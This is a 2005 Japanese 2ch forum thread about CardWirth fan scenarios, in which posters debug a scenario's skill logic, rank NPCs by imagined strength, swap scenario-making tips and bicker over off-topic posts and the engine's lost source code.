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CardWirthシナリオを語るスレ! Ver.39

1 :名無しさん@お腹いっぱい。:2005/06/10(金) 21:59:49 ID:llMSw/vF
幾千の(略)が集まる、CardWirthのシナリオについてマターリと語るスレ
シナ以外の雑談やヲチ等は他スレにて

前スレCardWirthシナリオを語るスレ! Ver.38
http://game10.2ch.net/test/read.cgi/gameama/1116399509/

関連リンクは下記参照。
CWスレの天ぷら
http://members.jcom.home.ne.jp/nanasisann/template/index.html

2 :名無しさん@お腹いっぱい。:2005/06/10(金) 23:29:28 ID:SiDbF55p
2

3 :名無しさん@お腹いっぱい。:2005/06/11(土) 02:09:04 ID:RVWQWFJq
3といったら三沢さん

4 :名無しさん@お腹いっぱい。:2005/06/11(土) 03:19:39 ID:BBGYG/KU
>>1
乙だが誘導くらいしやがれ。

5 :名無しさん@お腹いっぱい。:2005/06/11(土) 03:41:49 ID:C9Ui09/3
5のつくアレがきらい

>>1


6 :名無しさん@お腹いっぱい。:2005/06/11(土) 04:49:46 ID:lnytsfhS
>>1
乙。

んで質問なんだが、
変異の泉で力の解放Tを使ってるんだが、
これ使ってるだけじゃポボスの経験値って溜まらないのか?
何か内部処理みる限りだと上がるような気がするんだが、
どうにも理解デキネっす。


7 :名無しさん@お腹いっぱい。:2005/06/11(土) 05:28:05 ID:8UR0VDtZ
ろのつくアレ

8 :名無しさん@お腹いっぱい。:2005/06/11(土) 09:14:09 ID:cQg/8pf8
>>6
戦闘中のみあがって、5回使用するとレベルが1上がる仕組みみたい。

9 :名無しさん@お腹いっぱい。:2005/06/11(土) 09:30:51 ID:cQg/8pf8
5回じゃなかった。8回だか16回だか必要だ。

10 :名無しさん@お腹いっぱい。:2005/06/11(土) 09:57:52 ID:lnytsfhS
>>8-9
いやーそんな感じかなと思って戦闘で使いまくった後、
隠しクーポンとか確認しても全く変化なしなんだわ。

11 :名無しさん@お腹いっぱい。:2005/06/11(土) 11:20:23 ID:4OA+V0go
コンテンツ【くるくる】からコンテンツ【経験値】に行くには、
1、戦闘中であること
2、「;呪いを緩め・・・」を所有していないこと
3、「;力の解放使用者」であること
の順番で判定されるんだけど、

【くるくる】の上から六行目で全員に「;呪いを緩め・・・」が配布されるから、
_1のPCじゃない限り、永遠に【経験値】には行かない。

合ってる?

12 :名無しさん@お腹いっぱい。:2005/06/11(土) 14:45:42 ID:cQg/8pf8
>>11
多分それだな。全員になってたとは。

13 :名無しさん@お腹いっぱい。:2005/06/11(土) 14:58:16 ID:4OA+V0go
>10はすでに修正された模様。
あともうひとつ。

デバッグ宿&体力測定ver2 でやってるんだけど、
1ターン目に「解放T」を使用したとき、
_1のPCが使用したときは、「;呪いを緩め・・・」が2ターン目に残らないのに、
_1以外のPCが使用すると、「;呪いを緩め・・・(1)」がPC全員に残ってる。

確認よろ

14 :名無しさん@お腹いっぱい。:2005/06/11(土) 15:04:29 ID:cQg/8pf8
>>13
「既に開放されている時は、使用者に限り2ラウンド開放される。」
これと>>11が組み合わさって、全員に2R分の「;呪いを緩め、力を解放」を配布するようになってるみたい。

まぁ全員になってる時点ですでにおかしいんだが。

15 :名無しさん@お腹いっぱい。:2005/06/11(土) 16:49:20 ID:6dMNDGMS
とりあえず報告サンクス

16 :名無しさん@お腹いっぱい。:2005/06/11(土) 18:46:47 ID:9U6F21ow
旧家の守護神

スキル修得旅行と同じくらいにリスクのみで作られたシナ。
シナリオプレイ料40000SP。

17 :名無しさん@お腹いっぱい。:2005/06/11(土) 18:54:33 ID:LBAeyOhS
もらったシナを今更のように語り出す空気の読めないド腐れた厨発見。

18 :名無しさん@お腹いっぱい。:2005/06/11(土) 19:25:36 ID:49oq1Z92
ワーシストのレベルも地に落ちたなw

19 :名無しさん@お腹いっぱい。:2005/06/11(土) 19:36:20 ID:W8D/0QP9
>>18の国語能力に不安を感じる

20 :名無しさん@お腹いっぱい。:2005/06/11(土) 19:42:29 ID:z4t/8Sku
じゃ俺も空気読めずにネタ投下。
ちょい前にやったキャラ強さ格付けヤラナイカ?
実際の強さじゃなく、あくまでイメージな。
ちなみに俺はこんな感じ、

S:ボク、老兵の邪竜、ネタ娘さん
A:カナン、「…笑う者」の悪魔、「世界地図」魔王、「アモーレ」赤ん坊、ネタ親父
B:ルジア、イシュタルの魔術師、「満腹食堂」妖魔、「霧を抱く」3匹、グリエ、「赤き星…」鳥女、「紅姫」吸血鬼、「ミエナイ…」のラスボス
C:「機械仕掛け」最強ゴーレム、「旅の終わりに」植物、妖刀紫苑持ちの人間、「平和…」機械人形、「エリス…」エリス、「石島」メデューサ、「鋼の番人」最強ゴーレム、「夢王様」魔物
D:妖刀紫苑持ちの人間、「ガキ狩り」領主、「隻腕」女剣士、「狼親子」ボス狼、「ヴィジョン」の兄ちゃん
E:ドモホスキー、サブリナ、J・ルイ、
F:ガザ、ジェーン、D・モップ、セトレル、マジ親父

21 :名無しさん@お腹いっぱい。:2005/06/11(土) 20:02:57 ID:qxrxYx7U
超S:レイン、伊勢海6人衆
S:ボク、老兵の邪竜、ネタ娘さん
A:カナン、「…笑う者」の悪魔、「世界地図」魔王、「アモーレ」赤ん坊、ネタ親父
B:ルジア、イシュタルの魔術師、「満腹食堂」妖魔、「霧を抱く」3匹、グリエ、「赤き星…」鳥女、「紅姫」吸血鬼、「ミエナイ…」のラスボス
C:「機械仕掛け」最強ゴーレム、「旅の終わりに」植物、妖刀紫苑持ちの人間、「平和…」機械人形、「エリス…」エリス、「石島」メデューサ、「鋼の番人」最強ゴーレム、「夢王様」魔物
D:妖刀紫苑持ちの人間、「ガキ狩り」領主、「隻腕」女剣士、「狼親子」ボス狼、「ヴィジョン」の兄ちゃん
E:ドモホスキー、サブリナ、J・ルイ、
F:ガザ、ジェーン、D・モップ、セトレル、マジ親父

22 :名無しさん@お腹いっぱい。:2005/06/11(土) 20:03:33 ID:hUT2jHqF
ネタ親父よりネタ娘なのか…

んじゃあ、暗黒魔術シリーズから
銀細工師、プリンス、カシアス、ジェーンがA+
のこりがAからB+まで。
七星シリーズから
冥王がA- 勇者様たちがBからC+
サイファーがB+ レタルがC 軍師がB 霧がA- 憑依がC+

高レベルキャンペーンって他にあったっけ?

ロケットランチャーで武装した冒険者がB
レベル10冒険者がB
エンシェントドラゴンがA-
ビホルダーがC+
バルドゥアがE


23 :名無しさん@お腹いっぱい。:2005/06/11(土) 20:03:51 ID:Fl+e0oGi
いくらなんでもガザとダスキンが同じランクのわけはないと思われ。

24 :名無しさん@お腹いっぱい。:2005/06/11(土) 20:06:00 ID:hUT2jHqF
ダスキン舐めんな!
雑談スレより転載

リューン最強……ッ! それは奴……ダスキン・モップ……ッ!
奴はリューン全ての下水を知り尽くしている……ッ!
奴がその気になれば……騎士団だろうが賢者の塔だろうが……ネズミの巣窟と化す……ッ!
そう……ッ! 奴は下水からネズミを送り込むことが出来るのだ……ッ!
それだけではない……ッ! 下水から建築物への水路を絶てば……ッ! 実質、水を使うことは不可能……ッ!
いや、使うことは出来るが……ッ! 水が下水へ流れなくなるため、場の空気は湿りきってしまう……ッ!
そうなれば……ッ! 騎士の鎧にはカビが生え、キノコも生え……ッ! カッコ悪くて装備など出来なくなる……ッ!

ダスキン・モップ……ッ! なんて恐ろしい男……ッ!

25 :名無しさん@お腹いっぱい。:2005/06/11(土) 20:12:39 ID:Fl+e0oGi
バノン クラヤミA‐
惨劇の記憶 マンティコアC
深海の盟主 巨大イカB
緋桜悲伝 緋桜姫C
百目の巣窟 グロウラーB+
竜殺しの墓 テンハーロB- 



26 :名無しさん@お腹いっぱい。:2005/06/11(土) 20:21:07 ID:ru/GIgHV
>>11-14
なるほど。そんなことになってたんかー。
dクスです。
というか修正されそうだからそれ待ちますw

27 :名無しさん@お腹いっぱい。:2005/06/11(土) 20:22:58 ID:Y7gVQtCq
チュカってF-くらい?

28 :名無しさん@お腹いっぱい。:2005/06/11(土) 20:24:40 ID:y+tM5DwY
NPC名:ダスキン・モップ
所属  :リューン清掃局員
                                                    
破壊力-E スピード-D  射程距離-C  
持続力-C  精密動作性-A  成長性-B

29 :名無しさん@お腹いっぱい。:2005/06/11(土) 20:24:47 ID:cQg/8pf8
>>27
シコン持ってなきゃ一般冒険者準拠。

とりあえずみかんを口に突っ込んでやりたいと思ったのは俺だけではあるまい。

30 :名無しさん@お腹いっぱい。:2005/06/11(土) 20:26:12 ID:hUT2jHqF
レイン衆やシミターは俺の中ではB+
数値の上では強いかもしれないけど、イメージとしてね。

31 :名無しさん@お腹いっぱい。:2005/06/11(土) 20:30:12 ID:Fl+e0oGi
>>30
強さの説得力という点で奴らはG以下

32 :名無しさん@お腹いっぱい。:2005/06/11(土) 20:32:19 ID:4OA+V0go
>>26
もう修正されてます。

33 :名無しさん@お腹いっぱい。:2005/06/11(土) 20:33:37 ID:wPp93UF+
結局 紫苑はCなのかDなのか。

34 :名無しさん@お腹いっぱい。:2005/06/11(土) 20:34:37 ID:cQg/8pf8
>>32
早!

35 :名無しさん@お腹いっぱい。:2005/06/11(土) 20:34:53 ID:ru/GIgHV
>>32
出先だから確認してなかった…
つーか仕事はぇぇw

36 :名無しさん@お腹いっぱい。:2005/06/11(土) 20:36:19 ID:Z2u1KTmw
書類はサイコでFA。w

37 :名無しさん@お腹いっぱい。:2005/06/11(土) 20:39:26 ID:KpPhwSGG
>>29
その意見、なんか某スレでも見た覚えがあるけど
そんなに突っ込んでみたいん?

38 :名無しさん@お腹いっぱい。:2005/06/11(土) 20:43:42 ID:cQg/8pf8
>>37
チュカは柑橘類が苦手。後は言わずともわかるだろう。

39 :名無しさん@お腹いっぱい。:2005/06/11(土) 20:45:11 ID:KEvj/WMw
だって楽しそうじゃん。
あとで報復として口にシコン突っ込まれ返されそうだけどなw

40 :名無しさん@お腹いっぱい。:2005/06/11(土) 20:48:05 ID:ru/GIgHV
>>29
冒険者準拠なのかは考える部分人それぞれだろうが、
奴の身体能力総合で50超えてんだよねw
まぁシコン持ってる上に全身バラバラでも生きてる魔族(仮)けど。

41 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:00:33 ID:Tfr7IBK6
>>17
だからさ…
前スレ見てたか?
シナリオを語るスレなんだからそんな弁は筋違いだろっての。


42 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:01:00 ID:KEvj/WMw
全身バラバラで生きてるのは兄貴じゃなかったっけ?

43 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:02:14 ID:cQg/8pf8
>>40
15のステもあるな。男装チュカって力の解放の使用に最適だな。

44 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:04:05 ID:E/Ebh9AY
>>41
前スレでもタイミングは読んで欲しい、ってのがあったような。
とりあえず嫌な意見があればスルーすれば良い。

45 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:07:15 ID:ChleXvji
>>41
シナリオを沢山語りたいからもう手に入らないシナを片っ端からうpしてくれwwwwwwww

46 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:08:42 ID:sNSIch+n
極論乙

47 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:09:02 ID:8UR0VDtZ
語るスレだろうがなんだろうが乞食が煽られなくても良い場所なんてねえよ、馬鹿じゃねえの?

48 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:09:11 ID:1gGs1bNf
vipper気取りがまた沸いてる

49 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:11:31 ID:zMCotjev
>>45,47
なにコイツら( ´_ゝ`)


50 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:14:27 ID:KEvj/WMw
>>49
45がサイコ、47が路川

51 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:24:10 ID:Ya00k1k6
脳内認定 LV0技能
自分の厚顔無恥ぶりと恥部は棚に上げて相手をサイコ、
もしくは路川と認定することにより精神の安定を図る特殊な技術。
卑屈な精神力と姑息なまでの臆病性を有するものに適正がある。

抵抗属性:絶対成功
対象:使用者
キーコード:精神を回復

52 :20:2005/06/11(土) 21:29:42 ID:z4t/8Sku
じゃ修正版、

S:ボク、老兵の邪竜、ネタ娘さん
A:カナン、「…笑う者」の悪魔、「世界地図」魔王、「アモーレ」赤ん坊、エンシェントドラゴン、すごいアニキ、ダスキン@リューン、ネタ親父
---------------------------------------------------------------------------------------------神仙冒険者
B:ルジア、イシュタルの魔術師、「満腹食堂」妖魔、「霧を抱く」3匹、グリエ、「赤き星…」鳥女、「紅姫」吸血鬼、「ミエナイ…」のラスボス 、「深海」イカ
---------------------------------------------------------------------------------------------Lv10冒険者
C:「機械仕掛け」最強ゴーレム、「旅の終わりに」植物、、「平和…」機械人形、「エリス…」エリス、「石島」メデューサ、「鋼の番人」最強ゴーレム、「夢王様」魔物 、マンティコア、緋桜姫
D:妖刀紫苑持ちの人間、「ガキ狩り」領主、「隻腕」女剣士、「狼親子」ボス狼、「ヴィジョン」の兄ちゃん
E:ドモホスキー、サブリナ、J・ルイ、 バルドゥア、普通のアニキ
F:ジェーン、D・モップ、セトレル、マジ親父
---------------------------------------------------------------------------------------------バカの壁
G:ガザ

流石にダスキンもボクや邪竜には勝てんと思うが(藁
俺のイメージと違った奴は悪いけど、留保させてもらった。
ところでテンハーロってマジで竜倒したんだっけ?


53 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:29:45 ID:KEvj/WMw
で、そう言う>>51は何処から湧いて出たのやら。

54 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:33:05 ID:BzCNeTxa
>>52
テンハーロは本当の竜殺しだw
後カナンとエンシェントドラゴンを比べると
その位置付けちょっと微妙じゃね?

まぁ古竜そのものが一括りできるようなもんでもないが。

55 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:34:52 ID:cQg/8pf8
>>52
テンハーロは話を総合すると不意打ち気味だからなぁ。正面からやったわけではない。
まぁレベルにして7かそこらはあったんじゃないかと思ってる。

56 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:36:24 ID:hUT2jHqF
カナンはまだ寝不足気味だったから力が発揮できてないと思われ。
それに、単純な力じゃなくて、所持している技術とかで立ち回れる。
まぁ、ネームドクラスの古竜なら別だろうけど。

57 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:37:56 ID:Rwgi3oyB
不意打ちだったとしても、巨大な竜の鱗を貫くほどの腕力か

だめだ、強いような弱いようなワケワカラン
筋力と狡猾性が高いと言う事で

58 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:40:50 ID:ZtQyhYs5
ツガティグエは古竜であっても戦闘能力が高そうな印象はないな。
いや、それでも相当なもんなんだろうが。

59 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:44:09 ID:8UR0VDtZ
いずれにせよ雰囲気作りに成功しているキャラ語りならまだしも
強さとかいう厨臭い議論はいい加減にして欲しい。

60 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:45:00 ID:ZtQyhYs5
じゃあ弱さを議論するか。
CW最弱NPCは誰だ?

61 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:46:48 ID:cQg/8pf8
>>60
一般民間人はいくらでもいるからなぁ。
敵キャスト含めていいなら十三魔女のH.D.だな。

フェイントかけるだけでも墜落死する。

62 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:47:56 ID:Rwgi3oyB
>>60
頭が最弱と呼べるほど弱いNPCなら
そこらのスキル屋の店主がいっぱい居るぜ

63 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:49:58 ID:Jx0ndIt6
>>55
7やそこらに不意打ちくらった上にそいつ取り逃す
古竜ってどーよって気もするがなw
まぁ個人的には8〜9だと思う

>>56
古竜なら大抵名ありじゃねーか?
ってかカナンの解釈も微妙に補正掛かってるぞw

64 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:51:41 ID:+g0uDYWc
>>62
そいつらのプライドと尊大さはSクラスとみた

65 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:52:15 ID:8UR0VDtZ
心底如何でもいい不幸な境遇とか心理描写が延々と続く割に
やたらレベルが高かったり意味わかんねえ特殊能力持ってて
思春期特有の自分だけが特別だという万能感が作者に根強く
残っている事が窺えるNPC群。

66 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:52:32 ID:ZtQyhYs5
接客能力と商才がZクラスだけどな。

67 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:54:34 ID:hUT2jHqF
>>66
店員との漫才で場を和ませようとしたりしているじゃないか。

68 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:56:01 ID:ZtQyhYs5
大概の場合逆に帰りたくなるような素人漫才だがなw

69 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:56:27 ID:Rwgi3oyB
思うんだが、スキルしか売っていない
かつ一般人には絶対扱えないようなスキルしか扱っていない店って
キーレ並にやばい街でもない限り経営成り立たないと思うんだが
普通はちょっとした護身術とかメインに教えないか?

70 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:58:02 ID:kJsHmHlY
>>69
そんなもん冒険者に見せてもしょうがないだろ。

71 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:58:12 ID:hUT2jHqF
普段は包丁技とか洗濯技とかを売っています。

72 :名無しさん@お腹いっぱい。:2005/06/11(土) 21:59:24 ID:+g0uDYWc
>>71
それなんてメイド専用技?

73 :名無しさん@お腹いっぱい。:2005/06/11(土) 22:01:12 ID:qf3Zy/9O
絶対的な強さと言うと仮面の魔人やボーブランジェを思い出す古参。
それから平和教育委員会(略してヘイキカ)は無視しちゃイカンと思う。


74 :名無しさん@お腹いっぱい。:2005/06/11(土) 22:01:56 ID:cQg/8pf8
>>69
レベルによって買える技能が増えるってのもいいかなぁ、と思った。

75 :名無しさん@お腹いっぱい。:2005/06/11(土) 22:06:28 ID:cQg/8pf8
>>73
ヘキイカじゃなかったか?
怪しいハゲ&ヒゲとかはX軸で測ってるところをY軸とZ軸を合わせた方向にすっ飛びそうだ。

まぁそれを言うとネタ親父&娘も似たような方角にすっ飛ぶけど。

76 :名無しさん@お腹いっぱい。:2005/06/11(土) 23:17:18 ID:doMNOMAP
平和教育委員会は詳しく知らないんだけど、どんなシナリオで出てくるの?
いやまぁ、だいたいどんなものかは風の噂で聞いたことはあるけど。

77 :名無しさん@お腹いっぱい。:2005/06/11(土) 23:20:32 ID:cQg/8pf8
>>76
今はWeb上から消えてるが、神山の塔とかで出てたな。

78 :名無しさん@お腹いっぱい。:2005/06/11(土) 23:23:11 ID:Rwgi3oyB
狂い系ってジャンルあるけどさ
笑える狂い系と、笑えない狂い系はもはや別ジャンルだと思う

まあ最近は狂い系なんて出てないが

79 :名無しさん@お腹いっぱい。:2005/06/11(土) 23:23:14 ID:cQg/8pf8
そもそもシナ名あってたかなぁ。

80 :名無しさん@お腹いっぱい。:2005/06/11(土) 23:37:07 ID:XV2TO5zb
>>76
傀儡の騎士団というシナリオのおまけとしてその名前があったな。
そいつらの依頼を受けて帰って来た冒険者達がショックの余り
「ああ……刻が見える……」などとアヒャっているやつ。

81 :80:2005/06/11(土) 23:38:40 ID:XV2TO5zb
一応言っておくが、傀儡の騎士団というシナリオ自体は普通のシナリオだからな。

82 :名無しさん@お腹いっぱい。:2005/06/11(土) 23:44:32 ID:/7qHnivE
流れをぶった切って申し訳ないが

スキルの使用にアイテム所持分岐をいれたんだけど
全然反応しないのは何故?
理由をどなたか教えておくれ。

83 :名無しさん@お腹いっぱい。:2005/06/11(土) 23:48:02 ID:cQg/8pf8
>>82
キャスト/スキル/アイテム/召喚獣の所持分岐は別のシナリオに行くと意味を成さなくなる。
どうしても、と言うならコロン付きクーポンで代用だ。一回そのアイテム使用する必要あるけど。

84 :名無しさん@お腹いっぱい。:2005/06/12(日) 00:01:22 ID:jiZdn9Za
分岐いれる意味ないよなあ。単純に使用のミスなんだろうが、公式ファンサイトの方で直すつもりとかないのかな

85 :名無しさん@お腹いっぱい。:2005/06/12(日) 00:04:24 ID:3zceJX2A
>>84
そのシナリオ専用なら普通に作動するんで消すわけにもいかないのだろう。

86 :名無しさん@お腹いっぱい。:2005/06/12(日) 00:04:51 ID:RgCOIuBQ
ミスとかじゃないだろ。宿じゃなく、そのシナのデータで判定してるんだから。

87 :名無しさん@お腹いっぱい。:2005/06/12(日) 00:10:28 ID:ftx1ce+r
>>84
いまだに虹で修正版作れると勘違いしてるおめでたい奴がいたとはな。
書類に逆コンパイルは無理だってば。

88 :名無しさん@お腹いっぱい。:2005/06/12(日) 00:17:27 ID:RgCOIuBQ
>>87
逆コンパイルに何か技術でも必要なの?
というかソース貰ってると思ってたんだが。

89 :名無しさん@お腹いっぱい。:2005/06/12(日) 00:18:36 ID:v0/xX3Ex
HackRom並みの解析は出来るみたいだけどな。w
それだけで正式版を出せる虹の横暴ぶりは異常。

90 :名無しさん@お腹いっぱい。:2005/06/12(日) 00:19:59 ID:yDSdh9i4
>>88
どっかでソースは神が紛失してると聞いたな。

91 :名無しさん@お腹いっぱい。:2005/06/12(日) 00:21:43 ID:v0/xX3Ex
>>88
掲示板で2月がエンジンのソース入手は絶望的っつってたよ。
理由についてはお茶を濁してたが。
エディタは希望が持てるかもとはいってたけど多分無理じゃね。

92 :名無しさん@お腹いっぱい。:2005/06/12(日) 00:33:37 ID:rFMQhCPm
以外にソースとかメディア等にバックアップしてない人多いのね。
プニルの人とか。

93 :名無しさん@お腹いっぱい。:2005/06/12(日) 00:37:08 ID:yeOFT04l
>>92
ハードディスクに保存していると、
消える訳が無い、自分は大丈夫と思いこんでしまうからな

俺もウィルスとかクラッシュでデータが吹っ飛んで愕然としたものさ

94 :名無しさん@お腹いっぱい。:2005/06/12(日) 00:38:20 ID:jiZdn9Za
名前出すと>>87>>89みたいなのが沸くのを忘れてた。

95 :名無しさん@お腹いっぱい。:2005/06/12(日) 00:58:51 ID:v0/xX3Ex
ホント、ウジ蟲のように沸き続ける虹厨及び工作員はマジ勘弁だよな。

96 :名無しさん@お腹いっぱい。:2005/06/12(日) 02:33:09 ID:uXRmP4O1
名前出すのも煽るのも叩くのも擁護するのも
全部書類のジサクジエーンだと何度いったら判るんだw

97 :名無しさん@お腹いっぱい。:2005/06/12(日) 02:55:14 ID:YgiLmQyg
もはや何も言うまい。

98 :名無しさん@お腹いっぱい。:2005/06/12(日) 03:00:58 ID:wW5kyppJ
あれだよ。風物詩みたいなもんだ。
本気で相手してたら胃に穴があくぞ。

99 :名無しさん@お腹いっぱい。:2005/06/12(日) 05:51:02 ID:L62wx4tj
とりあえずツッコミ病の俺に言わせてくれ

>>89
だしてねーよ

100 :名無しさん@お腹いっぱい。:2005/06/12(日) 12:59:07 ID:uJUCHLyL
ツッコミ病ではなく、認知症では?

101 :名無しさん@お腹いっぱい。:2005/06/12(日) 13:03:23 ID:FDARGiPB
質問。
カードワースの能力判定分岐って
何を基準にレベルを決めているんだ?

能力6のPCが基準?
教えてください。

102 :名無しさん@お腹いっぱい。:2005/06/12(日) 13:14:58 ID:ZI2LwfzK
>>101
同Lv・能力判定合計値が6で大体半々の成功率。合計12で85%ぐらい。
能力6で判定Lvが冒険者-2なら7割ぐらい。(ロールテスター調べ)

具体的にはどうなんだろうな。設定するなら対象Lvを考慮すべきだとは思うが。

103 :名無しさん@お腹いっぱい。:2005/06/12(日) 13:17:41 ID:FDARGiPB
うん、能力判定作ってたんだけど、
イマイチ、適当なレベルが見つからなくて。

戦闘と違って、純粋にレベル依存だから計算式がわからないと
設定しずらい。

104 :名無しさん@お腹いっぱい。:2005/06/12(日) 13:33:34 ID:HVp5BNoJ
>>103
本気で自分の思惑通りに判定をしたいのなら、
能力判定よりレベル判定+確率分岐でやってみたらどうか?
冒険者の個性も反映させたいなら、
能力の代りに称号で匙加減してみたりとか。

105 :名無しさん@お腹いっぱい。:2005/06/12(日) 13:34:52 ID:PtHDLJOv
>>103
罠の感知・解除なら・・・
罠を仕掛けたNPCのレベルを対象レベルにして、
特にずる賢い、特に器用がある、相当の時間をかけて張った等なら成功率−1
急ごしらえ、素直な性格、罠を仕掛けずらい環境等なら成功率+1

こんなんでいいんでないの?


106 :名無しさん@お腹いっぱい。:2005/06/12(日) 13:42:15 ID:FDARGiPB
そんな感じかな?
まぁ、深く考える問題でもないかな?
祝福がけすれば、大抵どうにかなるし。

107 :名無しさん@お腹いっぱい。:2005/06/12(日) 18:18:12 ID:iefgU7Nx
>>106
>祝福がけすれば、大抵どうにかなるし。
詳しく
というか成功補助の魔法なんてあったんだ

108 :名無しさん@お腹いっぱい。:2005/06/12(日) 18:19:37 ID:sQOvdelp
リューン技能「祝福」
行動力を上げ、それに伴って判定での成功率も上がる。

109 :名無しさん@お腹いっぱい。:2005/06/12(日) 18:20:06 ID:bCr5hV4W
>>22
ループして悪いけど、暗黒魔術の奴らそんな強いか?
確かに描写自体は鬼だったが、たかが結社の幹部クラスに
カナンや古竜がゴロゴロいちゃたまらんだろ。
まあ作者が(ry)っていえば一発で説明つくが。

シナ自体を肯定的に見ればせいぜいB-〜B+じゃないか?


110 :名無しさん@お腹いっぱい。:2005/06/12(日) 18:23:20 ID:sQOvdelp
>>109
作者が、というよりあの世界観での暗黒魔術師が鬼ってだけ。
それを他の世界観に持っていくと、それこそ仙人とかと同じかそれ以上になる。

111 :名無しさん@お腹いっぱい。:2005/06/12(日) 18:32:56 ID:v0/xX3Ex
あのシリーズの趣旨って薄っぺらいサイキョーの敵に何故か激昂してるPCを笑うことじゃないの?

112 :名無しさん@お腹いっぱい。:2005/06/12(日) 18:57:55 ID:UQOFEt7c
「マジ勘弁だよな」の方が笑えるけどな

113 :名無しさん@お腹いっぱい。:2005/06/12(日) 19:08:05 ID:z8mVONt0
リューンスキルで固めたレベル3冒険者に倒されるカナンはD+ぐらいだろうな
ちなみにASKシナ最強はスチームサイクロプスでC+

114 :名無しさん@お腹いっぱい。:2005/06/12(日) 19:10:35 ID:Q93rqiXH
>>111
正解。


115 :名無しさん@お腹いっぱい。:2005/06/12(日) 19:10:44 ID:jiZdn9Za
>>113
>>20
>実際の強さじゃなく、あくまでイメージな。
ここ注目。数値だけ強くするなら誰でも出来る。

116 :名無しさん@お腹いっぱい。:2005/06/12(日) 19:20:44 ID:GsIFkphz
>>115
イメージ重視ならば、カナンはSでもおかしくないと思う。
ディマデュオに封印されたという事で減点されるだろうが。

117 :名無しさん@お腹いっぱい。:2005/06/12(日) 19:29:20 ID:jiZdn9Za
カナンは支配力込みならS行きそうだけど単体の恐ろしさ的にはやっぱりAかな。
つうか現状のSはボク以外はスケールが格段に落ちるからAでいい気がする。

118 :名無しさん@お腹いっぱい。:2005/06/12(日) 19:30:56 ID:ZI2LwfzK
そーいや「ボク」の出典シナってなんだっけな?

119 :名無しさん@お腹いっぱい。:2005/06/12(日) 19:32:22 ID:7kEzh1Eq
暗黒魔術師とかボクはひとりとかネタシナだろ

120 :名無しさん@お腹いっぱい。:2005/06/12(日) 19:37:00 ID:ZI2LwfzK
>>119
あぁ、そうかそうか。ボクはひとりか。説明文からして苦手そうだから飛ばしてたぜ。ありがとう。


リンク切れてるー!

121 :名無しさん@お腹いっぱい。:2005/06/12(日) 19:50:51 ID:3g6FXNSx
ボクはスケールが違いすぎる。
邪竜は神々と比肩しうる実力だってのがわかってるが、ボクは力に際限がなさそう。

122 :名無しさん@お腹いっぱい。:2005/06/12(日) 19:52:11 ID:jiZdn9Za
>>120
一応あのシナの中では宇宙を作る手助けみたいなことをした創造神ってことになってる。
でも全然全知全能じゃないしクトゥルー神話の旧支配者くらいの存在っぽい。
老兵の邪竜と一緒でデータもないし戦えない。

123 :名無しさん@お腹いっぱい。:2005/06/12(日) 21:16:41 ID:fo9IMG/T
クトゥルーレベルでも相当な化物って気も。古竜じゃ勝てん。

S:ボク、バロン(暗黒魔道士の崇拝する邪神)
S−:仮面の魔神(レタルシリーズ)、平和キング、覚醒親父(漢の生き様)
A+:ミーティアの魔神、銀細工師(ブルーラインズ)
A:カナン王、怪しいヒゲ、怪しいハゲ、普通の古竜
A−:キーレの蛮族大将、ティターン(巨人を狩るもの)、スリーピングマッドネス
B+:リザードキング(hirae氏)、ミタジマヘイシチロウ

124 :名無しさん@お腹いっぱい。:2005/06/12(日) 21:19:48 ID:sQOvdelp
>普通の古竜
「普通の」古竜はおらんだろーて。
エルダーくらいにしとけっぽ。

125 :名無しさん@お腹いっぱい。:2005/06/12(日) 21:20:27 ID:sQOvdelp
後明らかに蛮族大将高すぎ、竜殺しのヘイシチロウ低すぎ。

126 :名無しさん@お腹いっぱい。:2005/06/12(日) 21:26:29 ID:FDARGiPB
>>124
いないことは無いんじゃない?
古竜だってピンきりでしょう。その種族の中でも特に力を持ったものがネームドクラスなんだから。
それでも、レベル13オーバーの分割だろうけど。

127 :名無しさん@お腹いっぱい。:2005/06/12(日) 21:30:41 ID:fo9IMG/T
そういや、ミタジマは竜殺しだったか。
古竜のイメージは上に古竜王を想定するかで変わるな。

他に強そうなイメージがあるのは
たろう氏の超生命体やてつし氏の暗殺者集団か。

128 :名無しさん@お腹いっぱい。:2005/06/12(日) 21:36:59 ID:94UuU9D2
「ボク」はそもそも戦おうって意志が無いしなぁ
例の件以外では

カナンって封印されてて能力が出し切れなかったとして
じゃあ全力だとは何倍くらいなんだろう

129 :名無しさん@お腹いっぱい。:2005/06/12(日) 21:41:32 ID:sQOvdelp
カナンが能力出し切れなかったかどうかってのは結構意見別れそうだな。
俺は戦闘の能力は出し切ったが、使用する魔術自体は全然そこが見えてない、と思ってる。
位置的には今位だろうが、奴の強みはワイト軍団が作れたりする戦闘補助面も大きい気がしてにゃー。

130 :名無しさん@お腹いっぱい。:2005/06/12(日) 21:44:23 ID:fo9IMG/T
術だけなら、古代王朝での最強クラスと考えていいんじゃないか?
古代魔法無しの神仙型よりも少し上って感じ。
ヒボとか作った超文明よりは劣ってそうだが。

131 :名無しさん@お腹いっぱい。:2005/06/12(日) 21:54:23 ID:FDARGiPB
